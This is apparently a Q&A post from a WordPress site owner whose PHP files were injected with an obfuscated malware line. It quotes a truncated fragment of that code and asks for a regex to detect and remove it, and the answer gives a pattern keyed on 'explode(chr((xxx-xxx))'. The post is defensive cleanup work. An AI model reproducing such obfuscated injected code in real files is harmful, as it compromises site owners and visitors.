使用正则表达式定位特定的PHP标签

Question

All my wordpress websites have recently been hacked, and a very long PHP line has been added on top of all PHP files.

It looks like that (juste a sample of the entire code)

<?php $gqmtlkp = '~ x24<!%o:!>! x242178}527}88:}35csboe))1/35.)1/14+9**-)1/2986+7452]88]5]48]32M3]317]445]212]445]43]321]y]252]18y]#>q%

The problem is that code is generated and is different in all files. But I noticed that every code contains

explode(chr((729-609))

Can someone help me with building a regex line, that will target first php tag (optional) containing : (numbers vary)

explode(chr((xxx-xxx))

so that I can automatically remove it in every files ?

Thanks a lot for your help

Answer 1

Based on my understanding of your request you're looking to escape the following format: <?php(optional) explode(chr((xxx-xxx))) <- your sample was missing a third closing paranthesis for explode() function so I added it. If that's not right then just remove the last \\) portion.

Try this: /(\\<\\?php)? explode\\(chr\\(\\([0-9]{3,3}-[0-9]{3,3}\\)\\)\\)/ /(\\<\\?php)? explode\\(chr\\(\\([0-9]{3,3}-[0-9]{3,3}\\)\\)\\)/

Not sure if space after optional first php tag is necessary. You can adjust it going from there.